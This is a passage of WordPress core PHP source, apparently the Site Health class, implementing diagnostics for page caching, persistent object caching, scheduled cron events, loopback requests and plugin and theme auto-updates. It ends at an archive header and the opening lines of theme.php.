					number_format_i18n( $threshold )
				);
			}

			if ( empty( $page_cache_detail['headers'] ) ) {
				$page_cache_test_summary[] = '<span class="dashicons dashicons-warning"></span> ' . __( 'No client caching response headers were detected.' );
			} else {
				$headers_summary  = '<span class="dashicons dashicons-yes-alt"></span>';
				$headers_summary .= ' ' . sprintf(
					/* translators: %d: Number of caching headers. */
					_n(
						'There was %d client caching response header detected:',
						'There were %d client caching response headers detected:',
						count( $page_cache_detail['headers'] )
					),
					count( $page_cache_detail['headers'] )
				);
				$headers_summary          .= ' <code>' . implode( '</code>, <code>', $page_cache_detail['headers'] ) . '</code>.';
				$page_cache_test_summary[] = $headers_summary;
			}
		}

		if ( $page_cache_detail['advanced_cache_present'] ) {
			$page_cache_test_summary[] = '<span class="dashicons dashicons-yes-alt"></span> ' . __( 'A page cache plugin was detected.' );
		} elseif ( ! ( is_array( $page_cache_detail ) && ! empty( $page_cache_detail['headers'] ) ) ) {
			// Note: This message is not shown if client caching response headers were present since an external caching layer may be employed.
			$page_cache_test_summary[] = '<span class="dashicons dashicons-warning"></span> ' . __( 'A page cache plugin was not detected.' );
		}

		$result['description'] .= '<ul><li>' . implode( '</li><li>', $page_cache_test_summary ) . '</li></ul>';
		return $result;
	}

	/**
	 * Tests if the site uses persistent object cache and recommends to use it if not.
	 *
	 * @since 6.1.0
	 *
	 * @return array The test result.
	 */
	public function get_test_persistent_object_cache() {
		/**
		 * Filters the action URL for the persistent object cache health check.
		 *
		 * @since 6.1.0
		 *
		 * @param string $action_url Learn more link for persistent object cache health check.
		 */
		$action_url = apply_filters(
			'site_status_persistent_object_cache_url',
			/* translators: Localized Support reference. */
			__( 'https://wordpress.org/documentation/article/optimization/#persistent-object-cache' )
		);

		$result = array(
			'test'        => 'persistent_object_cache',
			'status'      => 'good',
			'badge'       => array(
				'label' => __( 'Performance' ),
				'color' => 'blue',
			),
			'label'       => __( 'A persistent object cache is being used' ),
			'description' => sprintf(
				'<p>%s</p>',
				__( 'A persistent object cache makes your site&#8217;s database more efficient, resulting in faster load times because WordPress can retrieve your site&#8217;s content and settings much more quickly.' )
			),
			'actions'     => sprintf(
				'<p><a href="%s" target="_blank" rel="noopener">%s<span class="screen-reader-text"> %s</span><span aria-hidden="true" class="dashicons dashicons-external"></span></a></p>',
				esc_url( $action_url ),
				__( 'Learn more about persistent object caching.' ),
				/* translators: Hidden accessibility text. */
				__( '(opens in a new tab)' )
			),
		);

		if ( wp_using_ext_object_cache() ) {
			return $result;
		}

		if ( ! $this->should_suggest_persistent_object_cache() ) {
			$result['label'] = __( 'A persistent object cache is not required' );

			return $result;
		}

		$available_services = $this->available_object_cache_services();

		$notes = __( 'Your hosting provider can tell you if a persistent object cache can be enabled on your site.' );

		if ( ! empty( $available_services ) ) {
			$notes .= ' ' . sprintf(
				/* translators: Available object caching services. */
				__( 'Your host appears to support the following object caching services: %s.' ),
				implode( ', ', $available_services )
			);
		}

		/**
		 * Filters the second paragraph of the health check's description
		 * when suggesting the use of a persistent object cache.
		 *
		 * Hosts may want to replace the notes to recommend their preferred object caching solution.
		 *
		 * Plugin authors may want to append notes (not replace) on why object caching is recommended for their plugin.
		 *
		 * @since 6.1.0
		 *
		 * @param string   $notes              The notes appended to the health check description.
		 * @param string[] $available_services The list of available persistent object cache services.
		 */
		$notes = apply_filters( 'site_status_persistent_object_cache_notes', $notes, $available_services );

		$result['status']       = 'recommended';
		$result['label']        = __( 'You should use a persistent object cache' );
		$result['description'] .= sprintf(
			'<p>%s</p>',
			wp_kses(
				$notes,
				array(
					'a'      => array( 'href' => true ),
					'code'   => true,
					'em'     => true,
					'strong' => true,
				)
			)
		);

		return $result;
	}

	/**
	 * Returns a set of tests that belong to the site status page.
	 *
	 * Each site status test is defined here, they may be `direct` tests, that run on page load, or `async` tests
	 * which will run later down the line via JavaScript calls to improve page performance and hopefully also user
	 * experiences.
	 *
	 * @since 5.2.0
	 * @since 5.6.0 Added support for `has_rest` and `permissions`.
	 *
	 * @return array The list of tests to run.
	 */
	public static function get_tests() {
		$tests = array(
			'direct' => array(
				'wordpress_version'            => array(
					'label' => __( 'WordPress Version' ),
					'test'  => 'wordpress_version',
				),
				'plugin_version'               => array(
					'label' => __( 'Plugin Versions' ),
					'test'  => 'plugin_version',
				),
				'theme_version'                => array(
					'label' => __( 'Theme Versions' ),
					'test'  => 'theme_version',
				),
				'php_version'                  => array(
					'label' => __( 'PHP Version' ),
					'test'  => 'php_version',
				),
				'php_extensions'               => array(
					'label' => __( 'PHP Extensions' ),
					'test'  => 'php_extensions',
				),
				'php_default_timezone'         => array(
					'label' => __( 'PHP Default Timezone' ),
					'test'  => 'php_default_timezone',
				),
				'php_sessions'                 => array(
					'label' => __( 'PHP Sessions' ),
					'test'  => 'php_sessions',
				),
				'sql_server'                   => array(
					'label' => __( 'Database Server version' ),
					'test'  => 'sql_server',
				),
				'utf8mb4_support'              => array(
					'label' => __( 'MySQL utf8mb4 support' ),
					'test'  => 'utf8mb4_support',
				),
				'ssl_support'                  => array(
					'label' => __( 'Secure communication' ),
					'test'  => 'ssl_support',
				),
				'scheduled_events'             => array(
					'label' => __( 'Scheduled events' ),
					'test'  => 'scheduled_events',
				),
				'http_requests'                => array(
					'label' => __( 'HTTP Requests' ),
					'test'  => 'http_requests',
				),
				'rest_availability'            => array(
					'label'     => __( 'REST API availability' ),
					'test'      => 'rest_availability',
					'skip_cron' => true,
				),
				'debug_enabled'                => array(
					'label' => __( 'Debugging enabled' ),
					'test'  => 'is_in_debug_mode',
				),
				'file_uploads'                 => array(
					'label' => __( 'File uploads' ),
					'test'  => 'file_uploads',
				),
				'plugin_theme_auto_updates'    => array(
					'label' => __( 'Plugin and theme auto-updates' ),
					'test'  => 'plugin_theme_auto_updates',
				),
				'update_temp_backup_writable'  => array(
					'label' => __( 'Plugin and theme temporary backup directory access' ),
					'test'  => 'update_temp_backup_writable',
				),
				'available_updates_disk_space' => array(
					'label' => __( 'Available disk space' ),
					'test'  => 'available_updates_disk_space',
				),
			),
			'async'  => array(
				'dotorg_communication' => array(
					'label'             => __( 'Communication with WordPress.org' ),
					'test'              => rest_url( 'wp-site-health/v1/tests/dotorg-communication' ),
					'has_rest'          => true,
					'async_direct_test' => array( WP_Site_Health::get_instance(), 'get_test_dotorg_communication' ),
				),
				'background_updates'   => array(
					'label'             => __( 'Background updates' ),
					'test'              => rest_url( 'wp-site-health/v1/tests/background-updates' ),
					'has_rest'          => true,
					'async_direct_test' => array( WP_Site_Health::get_instance(), 'get_test_background_updates' ),
				),
				'loopback_requests'    => array(
					'label'             => __( 'Loopback request' ),
					'test'              => rest_url( 'wp-site-health/v1/tests/loopback-requests' ),
					'has_rest'          => true,
					'async_direct_test' => array( WP_Site_Health::get_instance(), 'get_test_loopback_requests' ),
				),
				'https_status'         => array(
					'label'             => __( 'HTTPS status' ),
					'test'              => rest_url( 'wp-site-health/v1/tests/https-status' ),
					'has_rest'          => true,
					'async_direct_test' => array( WP_Site_Health::get_instance(), 'get_test_https_status' ),
				),
			),
		);

		// Conditionally include Authorization header test if the site isn't protected by Basic Auth.
		if ( ! wp_is_site_protected_by_basic_auth() ) {
			$tests['async']['authorization_header'] = array(
				'label'     => __( 'Authorization header' ),
				'test'      => rest_url( 'wp-site-health/v1/tests/authorization-header' ),
				'has_rest'  => true,
				'headers'   => array( 'Authorization' => 'Basic ' . base64_encode( 'user:pwd' ) ),
				'skip_cron' => true,
			);
		}

		// Only check for caches in production environments.
		if ( 'production' === wp_get_environment_type() ) {
			$tests['async']['page_cache'] = array(
				'label'             => __( 'Page cache' ),
				'test'              => rest_url( 'wp-site-health/v1/tests/page-cache' ),
				'has_rest'          => true,
				'async_direct_test' => array( WP_Site_Health::get_instance(), 'get_test_page_cache' ),
			);

			$tests['direct']['persistent_object_cache'] = array(
				'label' => __( 'Persistent object cache' ),
				'test'  => 'persistent_object_cache',
			);
		}

		/**
		 * Filters which site status tests are run on a site.
		 *
		 * The site health is determined by a set of tests based on best practices from
		 * both the WordPress Hosting Team and web standards in general.
		 *
		 * Some sites may not have the same requirements, for example the automatic update
		 * checks may be handled by a host, and are therefore disabled in core.
		 * Or maybe you want to introduce a new test, is caching enabled/disabled/stale for example.
		 *
		 * Tests may be added either as direct, or asynchronous ones. Any test that may require some time
		 * to complete should run asynchronously, to avoid extended loading periods within wp-admin.
		 *
		 * @since 5.2.0
		 * @since 5.6.0 Added the `async_direct_test` array key for asynchronous tests.
		 *              Added the `skip_cron` array key for all tests.
		 *
		 * @param array[] $tests {
		 *     An associative array of direct and asynchronous tests.
		 *
		 *     @type array[] $direct {
		 *         An array of direct tests.
		 *
		 *         @type array ...$identifier {
		 *             `$identifier` should be a unique identifier for the test. Plugins and themes are encouraged to
		 *             prefix test identifiers with their slug to avoid collisions between tests.
		 *
		 *             @type string   $label     The friendly label to identify the test.
		 *             @type callable $test      The callback function that runs the test and returns its result.
		 *             @type bool     $skip_cron Whether to skip this test when running as cron.
		 *         }
		 *     }
		 *     @type array[] $async {
		 *         An array of asynchronous tests.
		 *
		 *         @type array ...$identifier {
		 *             `$identifier` should be a unique identifier for the test. Plugins and themes are encouraged to
		 *             prefix test identifiers with their slug to avoid collisions between tests.
		 *
		 *             @type string   $label             The friendly label to identify the test.
		 *             @type string   $test              An admin-ajax.php action to be called to perform the test, or
		 *                                               if `$has_rest` is true, a URL to a REST API endpoint to perform
		 *                                               the test.
		 *             @type bool     $has_rest          Whether the `$test` property points to a REST API endpoint.
		 *             @type bool     $skip_cron         Whether to skip this test when running as cron.
		 *             @type callable $async_direct_test A manner of directly calling the test marked as asynchronous,
		 *                                               as the scheduled event can not authenticate, and endpoints
		 *                                               may require authentication.
		 *         }
		 *     }
		 * }
		 */
		$tests = apply_filters( 'site_status_tests', $tests );

		// Ensure that the filtered tests contain the required array keys.
		$tests = array_merge(
			array(
				'direct' => array(),
				'async'  => array(),
			),
			$tests
		);

		return $tests;
	}

	/**
	 * Adds a class to the body HTML tag.
	 *
	 * Filters the body class string for admin pages and adds our own class for easier styling.
	 *
	 * @since 5.2.0
	 *
	 * @param string $body_class The body class string.
	 * @return string The modified body class string.
	 */
	public function admin_body_class( $body_class ) {
		$screen = get_current_screen();
		if ( 'site-health' !== $screen->id ) {
			return $body_class;
		}

		$body_class .= ' site-health';

		return $body_class;
	}

	/**
	 * Initiates the WP_Cron schedule test cases.
	 *
	 * @since 5.2.0
	 */
	private function wp_schedule_test_init() {
		$this->schedules = wp_get_schedules();
		$this->get_cron_tasks();
	}

	/**
	 * Populates the list of cron events and store them to a class-wide variable.
	 *
	 * @since 5.2.0
	 */
	private function get_cron_tasks() {
		$cron_tasks = _get_cron_array();

		if ( empty( $cron_tasks ) ) {
			$this->crons = new WP_Error( 'no_tasks', __( 'No scheduled events exist on this site.' ) );
			return;
		}

		$this->crons = array();

		foreach ( $cron_tasks as $time => $cron ) {
			foreach ( $cron as $hook => $dings ) {
				foreach ( $dings as $sig => $data ) {

					$this->crons[ "$hook-$sig-$time" ] = (object) array(
						'hook'     => $hook,
						'time'     => $time,
						'sig'      => $sig,
						'args'     => $data['args'],
						'schedule' => $data['schedule'],
						'interval' => isset( $data['interval'] ) ? $data['interval'] : null,
					);

				}
			}
		}
	}

	/**
	 * Checks if any scheduled tasks have been missed.
	 *
	 * Returns a boolean value of `true` if a scheduled task has been missed and ends processing.
	 *
	 * If the list of crons is an instance of WP_Error, returns the instance instead of a boolean value.
	 *
	 * @since 5.2.0
	 *
	 * @return bool|WP_Error True if a cron was missed, false if not. WP_Error if the cron is set to that.
	 */
	public function has_missed_cron() {
		if ( is_wp_error( $this->crons ) ) {
			return $this->crons;
		}

		foreach ( $this->crons as $id => $cron ) {
			if ( ( $cron->time - time() ) < $this->timeout_missed_cron ) {
				$this->last_missed_cron = $cron->hook;
				return true;
			}
		}

		return false;
	}

	/**
	 * Checks if any scheduled tasks are late.
	 *
	 * Returns a boolean value of `true` if a scheduled task is late and ends processing.
	 *
	 * If the list of crons is an instance of WP_Error, returns the instance instead of a boolean value.
	 *
	 * @since 5.3.0
	 *
	 * @return bool|WP_Error True if a cron is late, false if not. WP_Error if the cron is set to that.
	 */
	public function has_late_cron() {
		if ( is_wp_error( $this->crons ) ) {
			return $this->crons;
		}

		foreach ( $this->crons as $id => $cron ) {
			$cron_offset = $cron->time - time();
			if (
				$cron_offset >= $this->timeout_missed_cron &&
				$cron_offset < $this->timeout_late_cron
			) {
				$this->last_late_cron = $cron->hook;
				return true;
			}
		}

		return false;
	}

	/**
	 * Checks for potential issues with plugin and theme auto-updates.
	 *
	 * Though there is no way to 100% determine if plugin and theme auto-updates are configured
	 * correctly, a few educated guesses could be made to flag any conditions that would
	 * potentially cause unexpected behaviors.
	 *
	 * @since 5.5.0
	 *
	 * @return object The test results.
	 */
	public function detect_plugin_theme_auto_update_issues() {
		$mock_plugin = (object) array(
			'id'            => 'w.org/plugins/a-fake-plugin',
			'slug'          => 'a-fake-plugin',
			'plugin'        => 'a-fake-plugin/a-fake-plugin.php',
			'new_version'   => '9.9',
			'url'           => 'https://wordpress.org/plugins/a-fake-plugin/',
			'package'       => 'https://downloads.wordpress.org/plugin/a-fake-plugin.9.9.zip',
			'icons'         => array(
				'2x' => 'https://ps.w.org/a-fake-plugin/assets/icon-256x256.png',
				'1x' => 'https://ps.w.org/a-fake-plugin/assets/icon-128x128.png',
			),
			'banners'       => array(
				'2x' => 'https://ps.w.org/a-fake-plugin/assets/banner-1544x500.png',
				'1x' => 'https://ps.w.org/a-fake-plugin/assets/banner-772x250.png',
			),
			'banners_rtl'   => array(),
			'tested'        => '5.5.0',
			'requires_php'  => '5.6.20',
			'compatibility' => new stdClass(),
		);

		$mock_theme = (object) array(
			'theme'        => 'a-fake-theme',
			'new_version'  => '9.9',
			'url'          => 'https://wordpress.org/themes/a-fake-theme/',
			'package'      => 'https://downloads.wordpress.org/theme/a-fake-theme.9.9.zip',
			'requires'     => '5.0.0',
			'requires_php' => '5.6.20',
		);

		$test_plugins_enabled = wp_is_auto_update_forced_for_item( 'plugin', true, $mock_plugin );
		$test_themes_enabled  = wp_is_auto_update_forced_for_item( 'theme', true, $mock_theme );

		$ui_enabled_for_plugins = wp_is_auto_update_enabled_for_type( 'plugin' );
		$ui_enabled_for_themes  = wp_is_auto_update_enabled_for_type( 'theme' );
		$plugin_filter_present  = has_filter( 'auto_update_plugin' );
		$theme_filter_present   = has_filter( 'auto_update_theme' );

		if ( ( ! $test_plugins_enabled && $ui_enabled_for_plugins )
			|| ( ! $test_themes_enabled && $ui_enabled_for_themes )
		) {
			return (object) array(
				'status'  => 'critical',
				'message' => __( 'Auto-updates for plugins and/or themes appear to be disabled, but settings are still set to be displayed. This could cause auto-updates to not work as expected.' ),
			);
		}

		if ( ( ! $test_plugins_enabled && $plugin_filter_present )
			&& ( ! $test_themes_enabled && $theme_filter_present )
		) {
			return (object) array(
				'status'  => 'recommended',
				'message' => __( 'Auto-updates for plugins and themes appear to be disabled. This will prevent your site from receiving new versions automatically when available.' ),
			);
		} elseif ( ! $test_plugins_enabled && $plugin_filter_present ) {
			return (object) array(
				'status'  => 'recommended',
				'message' => __( 'Auto-updates for plugins appear to be disabled. This will prevent your site from receiving new versions automatically when available.' ),
			);
		} elseif ( ! $test_themes_enabled && $theme_filter_present ) {
			return (object) array(
				'status'  => 'recommended',
				'message' => __( 'Auto-updates for themes appear to be disabled. This will prevent your site from receiving new versions automatically when available.' ),
			);
		}

		return (object) array(
			'status'  => 'good',
			'message' => __( 'There appear to be no issues with plugin and theme auto-updates.' ),
		);
	}

	/**
	 * Runs a loopback test on the site.
	 *
	 * Loopbacks are what WordPress uses to communicate with itself to start up WP_Cron, scheduled posts,
	 * make sure plugin or theme edits don't cause site failures and similar.
	 *
	 * @since 5.2.0
	 *
	 * @return object The test results.
	 */
	public function can_perform_loopback() {
		$body    = array( 'site-health' => 'loopback-test' );
		$cookies = wp_unslash( $_COOKIE );
		$timeout = 10; // 10 seconds.
		$headers = array(
			'Cache-Control' => 'no-cache',
		);
		/** This filter is documented in wp-includes/class-wp-http-streams.php */
		$sslverify = apply_filters( 'https_local_ssl_verify', false );

		// Include Basic auth in loopback requests.
		if ( isset( $_SERVER['PHP_AUTH_USER'] ) && isset( $_SERVER['PHP_AUTH_PW'] ) ) {
			$headers['Authorization'] = 'Basic ' . base64_encode( wp_unslash( $_SERVER['PHP_AUTH_USER'] ) . ':' . wp_unslash( $_SERVER['PHP_AUTH_PW'] ) );
		}

		$url = site_url( 'wp-cron.php' );

		/*
		 * A post request is used for the wp-cron.php loopback test to cause the file
		 * to finish early without triggering cron jobs. This has two benefits:
		 * - cron jobs are not triggered a second time on the site health page,
		 * - the loopback request finishes sooner providing a quicker result.
		 *
		 * Using a POST request causes the loopback to differ slightly to the standard
		 * GET request WordPress uses for wp-cron.php loopback requests but is close
		 * enough. See https://core.trac.wordpress.org/ticket/52547
		 */
		$r = wp_remote_post( $url, compact( 'body', 'cookies', 'headers', 'timeout', 'sslverify' ) );

		if ( is_wp_error( $r ) ) {
			return (object) array(
				'status'  => 'critical',
				'message' => sprintf(
					'%s<br>%s',
					__( 'The loopback request to your site failed, this means features relying on them are not currently working as expected.' ),
					sprintf(
						/* translators: 1: The WordPress error message. 2: The WordPress error code. */
						__( 'Error: %1$s (%2$s)' ),
						$r->get_error_message(),
						$r->get_error_code()
					)
				),
			);
		}

		if ( 200 !== wp_remote_retrieve_response_code( $r ) ) {
			return (object) array(
				'status'  => 'recommended',
				'message' => sprintf(
					/* translators: %d: The HTTP response code returned. */
					__( 'The loopback request returned an unexpected http status code, %d, it was not possible to determine if this will prevent features from working as expected.' ),
					wp_remote_retrieve_response_code( $r )
				),
			);
		}

		return (object) array(
			'status'  => 'good',
			'message' => __( 'The loopback request to your site completed successfully.' ),
		);
	}

	/**
	 * Creates a weekly cron event, if one does not already exist.
	 *
	 * @since 5.4.0
	 */
	public function maybe_create_scheduled_event() {
		if ( ! wp_next_scheduled( 'wp_site_health_scheduled_check' ) && ! wp_installing() ) {
			wp_schedule_event( time() + DAY_IN_SECONDS, 'weekly', 'wp_site_health_scheduled_check' );
		}
	}

	/**
	 * Runs the scheduled event to check and update the latest site health status for the website.
	 *
	 * @since 5.4.0
	 */
	public function wp_cron_scheduled_check() {
		// Bootstrap wp-admin, as WP_Cron doesn't do this for us.
		require_once trailingslashit( ABSPATH ) . 'wp-admin/includes/admin.php';

		$tests = WP_Site_Health::get_tests();

		$results = array();

		$site_status = array(
			'good'        => 0,
			'recommended' => 0,
			'critical'    => 0,
		);

		// Don't run https test on development environments.
		if ( $this->is_development_environment() ) {
			unset( $tests['async']['https_status'] );
		}

		foreach ( $tests['direct'] as $test ) {
			if ( ! empty( $test['skip_cron'] ) ) {
				continue;
			}

			if ( is_string( $test['test'] ) ) {
				$test_function = sprintf(
					'get_test_%s',
					$test['test']
				);

				if ( method_exists( $this, $test_function ) && is_callable( array( $this, $test_function ) ) ) {
					$results[] = $this->perform_test( array( $this, $test_function ) );
					continue;
				}
			}

			if ( is_callable( $test['test'] ) ) {
				$results[] = $this->perform_test( $test['test'] );
			}
		}

		foreach ( $tests['async'] as $test ) {
			if ( ! empty( $test['skip_cron'] ) ) {
				continue;
			}

			// Local endpoints may require authentication, so asynchronous tests can pass a direct test runner as well.
			if ( ! empty( $test['async_direct_test'] ) && is_callable( $test['async_direct_test'] ) ) {
				// This test is callable, do so and continue to the next asynchronous check.
				$results[] = $this->perform_test( $test['async_direct_test'] );
				continue;
			}

			if ( is_string( $test['test'] ) ) {
				// Check if this test has a REST API endpoint.
				if ( isset( $test['has_rest'] ) && $test['has_rest'] ) {
					$result_fetch = wp_remote_get(
						$test['test'],
						array(
							'body' => array(
								'_wpnonce' => wp_create_nonce( 'wp_rest' ),
							),
						)
					);
				} else {
					$result_fetch = wp_remote_post(
						admin_url( 'admin-ajax.php' ),
						array(
							'body' => array(
								'action'   => $test['test'],
								'_wpnonce' => wp_create_nonce( 'health-check-site-status' ),
							),
						)
					);
				}

				if ( ! is_wp_error( $result_fetch ) && 200 === wp_remote_retrieve_response_code( $result_fetch ) ) {
					$result = json_decode( wp_remote_retrieve_body( $result_fetch ), true );
				} else {
					$result = false;
				}

				if ( is_array( $result ) ) {
					$results[] = $result;
				} else {
					$results[] = array(
						'status' => 'recommended',
						'label'  => __( 'A test is unavailable' ),
					);
				}
			}
		}

		foreach ( $results as $result ) {
			if ( 'critical' === $result['status'] ) {
				++$site_status['critical'];
			} elseif ( 'recommended' === $result['status'] ) {
				++$site_status['recommended'];
			} else {
				++$site_status['good'];
			}
		}

		set_transient( 'health-check-site-status-result', wp_json_encode( $site_status ) );
	}

	/**
	 * Checks if the current environment type is set to 'development' or 'local'.
	 *
	 * @since 5.6.0
	 *
	 * @return bool True if it is a development environment, false if not.
	 */
	public function is_development_environment() {
		return in_array( wp_get_environment_type(), array( 'development', 'local' ), true );
	}

	/**
	 * Returns a list of headers and its verification callback to verify if page cache is enabled or not.
	 *
	 * Note: key is header name and value could be callable function to verify header value.
	 * Empty value mean existence of header detect page cache is enabled.
	 *
	 * @since 6.1.0
	 *
	 * @return array List of client caching headers and their (optional) verification callbacks.
	 */
	public function get_page_cache_headers() {

		$cache_hit_callback = static function ( $header_value ) {
			return str_contains( strtolower( $header_value ), 'hit' );
		};

		$cache_headers = array(
			'cache-control'          => static function ( $header_value ) {
				return (bool) preg_match( '/max-age=[1-9]/', $header_value );
			},
			'expires'                => static function ( $header_value ) {
				return strtotime( $header_value ) > time();
			},
			'age'                    => static function ( $header_value ) {
				return is_numeric( $header_value ) && $header_value > 0;
			},
			'last-modified'          => '',
			'etag'                   => '',
			'x-cache-enabled'        => static function ( $header_value ) {
				return 'true' === strtolower( $header_value );
			},
			'x-cache-disabled'       => static function ( $header_value ) {
				return ( 'on' !== strtolower( $header_value ) );
			},
			'x-srcache-store-status' => $cache_hit_callback,
			'x-srcache-fetch-status' => $cache_hit_callback,
		);

		/**
		 * Filters the list of cache headers supported by core.
		 *
		 * @since 6.1.0
		 *
		 * @param array $cache_headers Array of supported cache headers.
		 */
		return apply_filters( 'site_status_page_cache_supported_cache_headers', $cache_headers );
	}

	/**
	 * Checks if site has page cache enabled or not.
	 *
	 * @since 6.1.0
	 *
	 * @return WP_Error|array {
	 *     Page cache detection details or else error information.
	 *
	 *     @type bool    $advanced_cache_present        Whether a page cache plugin is present.
	 *     @type array[] $page_caching_response_headers Sets of client caching headers for the responses.
	 *     @type float[] $response_timing               Response timings.
	 * }
	 */
	private function check_for_page_caching() {

		/** This filter is documented in wp-includes/class-wp-http-streams.php */
		$sslverify = apply_filters( 'https_local_ssl_verify', false );

		$headers = array();

		/*
		 * Include basic auth in loopback requests. Note that this will only pass along basic auth when user is
		 * initiating the test. If a site requires basic auth, the test will fail when it runs in WP Cron as part of
		 * wp_site_health_scheduled_check. This logic is copied from WP_Site_Health::can_perform_loopback().
		 */
		if ( isset( $_SERVER['PHP_AUTH_USER'] ) && isset( $_SERVER['PHP_AUTH_PW'] ) ) {
			$headers['Authorization'] = 'Basic ' . base64_encode( wp_unslash( $_SERVER['PHP_AUTH_USER'] ) . ':' . wp_unslash( $_SERVER['PHP_AUTH_PW'] ) );
		}

		$caching_headers               = $this->get_page_cache_headers();
		$page_caching_response_headers = array();
		$response_timing               = array();

		for ( $i = 1; $i <= 3; $i++ ) {
			$start_time    = microtime( true );
			$http_response = wp_remote_get( home_url( '/' ), compact( 'sslverify', 'headers' ) );
			$end_time      = microtime( true );

			if ( is_wp_error( $http_response ) ) {
				return $http_response;
			}
			if ( wp_remote_retrieve_response_code( $http_response ) !== 200 ) {
				return new WP_Error(
					'http_' . wp_remote_retrieve_response_code( $http_response ),
					wp_remote_retrieve_response_message( $http_response )
				);
			}

			$response_headers = array();

			foreach ( $caching_headers as $header => $callback ) {
				$header_values = wp_remote_retrieve_header( $http_response, $header );
				if ( empty( $header_values ) ) {
					continue;
				}
				$header_values = (array) $header_values;
				if ( empty( $callback ) || ( is_callable( $callback ) && count( array_filter( $header_values, $callback ) ) > 0 ) ) {
					$response_headers[ $header ] = $header_values;
				}
			}

			$page_caching_response_headers[] = $response_headers;
			$response_timing[]               = ( $end_time - $start_time ) * 1000;
		}

		return array(
			'advanced_cache_present'        => (
				file_exists( WP_CONTENT_DIR . '/advanced-cache.php' )
				&&
				( defined( 'WP_CACHE' ) && WP_CACHE )
				&&
				/** This filter is documented in wp-settings.php */
				apply_filters( 'enable_loading_advanced_cache_dropin', true )
			),
			'page_caching_response_headers' => $page_caching_response_headers,
			'response_timing'               => $response_timing,
		);
	}

	/**
	 * Gets page cache details.
	 *
	 * @since 6.1.0
	 *
	 * @return WP_Error|array {
	 *    Page cache detail or else a WP_Error if unable to determine.
	 *
	 *    @type string   $status                 Page cache status. Good, Recommended or Critical.
	 *    @type bool     $advanced_cache_present Whether page cache plugin is available or not.
	 *    @type string[] $headers                Client caching response headers detected.
	 *    @type float    $response_time          Response time of site.
	 * }
	 */
	private function get_page_cache_detail() {
		$page_cache_detail = $this->check_for_page_caching();
		if ( is_wp_error( $page_cache_detail ) ) {
			return $page_cache_detail;
		}

		// Use the median server response time.
		$response_timings = $page_cache_detail['response_timing'];
		rsort( $response_timings );
		$page_speed = $response_timings[ floor( count( $response_timings ) / 2 ) ];

		// Obtain unique set of all client caching response headers.
		$headers = array();
		foreach ( $page_cache_detail['page_caching_response_headers'] as $page_caching_response_headers ) {
			$headers = array_merge( $headers, array_keys( $page_caching_response_headers ) );
		}
		$headers = array_unique( $headers );

		// Page cache is detected if there are response headers or a page cache plugin is present.
		$has_page_caching = ( count( $headers ) > 0 || $page_cache_detail['advanced_cache_present'] );

		if ( $page_speed && $page_speed < $this->get_good_response_time_threshold() ) {
			$result = $has_page_caching ? 'good' : 'recommended';
		} else {
			$result = 'critical';
		}

		return array(
			'status'                 => $result,
			'advanced_cache_present' => $page_cache_detail['advanced_cache_present'],
			'headers'                => $headers,
			'response_time'          => $page_speed,
		);
	}

	/**
	 * Gets the threshold below which a response time is considered good.
	 *
	 * @since 6.1.0
	 *
	 * @return int Threshold in milliseconds.
	 */
	private function get_good_response_time_threshold() {
		/**
		 * Filters the threshold below which a response time is considered good.
		 *
		 * The default is based on https://web.dev/time-to-first-byte/.
		 *
		 * @param int $threshold Threshold in milliseconds. Default 600.
		 *
		 * @since 6.1.0
		 */
		return (int) apply_filters( 'site_status_good_response_time_threshold', 600 );
	}

	/**
	 * Determines whether to suggest using a persistent object cache.
	 *
	 * @since 6.1.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @return bool Whether to suggest using a persistent object cache.
	 */
	public function should_suggest_persistent_object_cache() {
		global $wpdb;

		/**
		 * Filters whether to suggest use of a persistent object cache and bypass default threshold checks.
		 *
		 * Using this filter allows to override the default logic, effectively short-circuiting the method.
		 *
		 * @since 6.1.0
		 *
		 * @param bool|null $suggest Boolean to short-circuit, for whether to suggest using a persistent object cache.
		 *                           Default null.
		 */
		$short_circuit = apply_filters( 'site_status_should_suggest_persistent_object_cache', null );
		if ( is_bool( $short_circuit ) ) {
			return $short_circuit;
		}

		if ( is_multisite() ) {
			return true;
		}

		/**
		 * Filters the thresholds used to determine whether to suggest the use of a persistent object cache.
		 *
		 * @since 6.1.0
		 *
		 * @param int[] $thresholds The list of threshold numbers keyed by threshold name.
		 */
		$thresholds = apply_filters(
			'site_status_persistent_object_cache_thresholds',
			array(
				'alloptions_count' => 500,
				'alloptions_bytes' => 100000,
				'comments_count'   => 1000,
				'options_count'    => 1000,
				'posts_count'      => 1000,
				'terms_count'      => 1000,
				'users_count'      => 1000,
			)
		);

		$alloptions = wp_load_alloptions();

		if ( $thresholds['alloptions_count'] < count( $alloptions ) ) {
			return true;
		}

		if ( $thresholds['alloptions_bytes'] < strlen( serialize( $alloptions ) ) ) {
			return true;
		}

		$table_names = implode( "','", array( $wpdb->comments, $wpdb->options, $wpdb->posts, $wpdb->terms, $wpdb->users ) );

		// With InnoDB the `TABLE_ROWS` are estimates, which are accurate enough and faster to retrieve than individual `COUNT()` queries.
		$results = $wpdb->get_results(
			$wpdb->prepare(
				// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- This query cannot use interpolation.
				"SELECT TABLE_NAME AS 'table', TABLE_ROWS AS 'rows', SUM(data_length + index_length) as 'bytes' FROM information_schema.TABLES WHERE TABLE_SCHEMA = %s AND TABLE_NAME IN ('$table_names') GROUP BY TABLE_NAME;",
				DB_NAME
			),
			OBJECT_K
		);

		$threshold_map = array(
			'comments_count' => $wpdb->comments,
			'options_count'  => $wpdb->options,
			'posts_count'    => $wpdb->posts,
			'terms_count'    => $wpdb->terms,
			'users_count'    => $wpdb->users,
		);

		foreach ( $threshold_map as $threshold => $table ) {
			if ( $thresholds[ $threshold ] <= $results[ $table ]->rows ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Returns a list of available persistent object cache services.
	 *
	 * @since 6.1.0
	 *
	 * @return string[] The list of available persistent object cache services.
	 */
	private function available_object_cache_services() {
		$extensions = array_map(
			'extension_loaded',
			array(
				'APCu'      => 'apcu',
				'Redis'     => 'redis',
				'Relay'     => 'relay',
				'Memcache'  => 'memcache',
				'Memcached' => 'memcached',
			)
		);

		$services = array_keys( array_filter( $extensions ) );

		/**
		 * Filters the persistent object cache services available to the user.
		 *
		 * This can be useful to hide or add services not included in the defaults.
		 *
		 * @since 6.1.0
		 *
		 * @param string[] $services The list of available persistent object cache services.
		 */
		return apply_filters( 'site_status_available_object_cache_services', $services );
	}
}
theme.php000064400000134354150275632050006376 0ustar00<?php
/**
 * WordPress Theme Administration API
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
